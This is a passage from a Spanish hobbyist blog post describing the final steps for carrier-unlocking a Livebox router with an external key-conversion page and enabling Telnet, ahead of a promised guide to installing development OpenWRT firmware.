Nos devolverá una clave hexadecimal. La copiamos y la introducimos en esta página web http://www.agp.dsl.pipex.com/h235tounlock.html. Tambien podemos bajar estos archivos a nuestro ordenador y hacerlo en local.

Nos devolverá la clave ya convertida lista para desbloquear el router.

Por último, solo queda acceder por HTTP al router e ir a la página http://192.168.1.1/brdgoff.html pegar el código de desbloqueo proporcionado por la página y ya tendremos el router liberado para cualquier operador y con un firmware sin restricciones.

Una vez reiniciado el router, vemos como lo podremos configurar para cualquier ISP.


Ya tenemos nuestro router Livebox liberado (no necesario para cargar OpenWRT) y con acceso Telnet.

En el siguiente post explicare como cargar el firmware OpenWRT en nuestro LiveBox. Este OpenWRT es una version en desarrollo, por lo que todas las funcionaliadades del router (por ejemplo, la conexion ADSL) no estaran disponibles y no se si lo estarán en un futuro.

Fuente: ADSLZone.net

Share
Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,

Theme: TheBuckmaker.com Blog Themes | Hostpapa customer, Berlin